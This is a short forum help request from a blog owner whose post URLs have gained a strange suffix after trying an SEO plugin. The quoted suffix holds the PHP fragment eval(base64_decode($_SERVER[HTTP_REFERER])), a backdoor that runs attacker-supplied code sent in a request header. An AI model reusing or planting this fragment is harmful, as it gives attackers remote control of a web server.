Error 400 on my posts, url seems to have extra code on the end !

Hi there

I have a problem with my blog at https://www.worldofchat.co.uk/chatblog

My blog seems to have added some code to the end of the urls

(https://www.worldofchat.co.uk/chatblog/2009/08/24/iphone-chat-rooms/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/)

I tryed to install seo plugin this might have something to do with it, I have disabeld this now though and the problem still exists, anyone any ideas what the code is thats been added to the end of the urls so I can go about solving this problem ?

Woc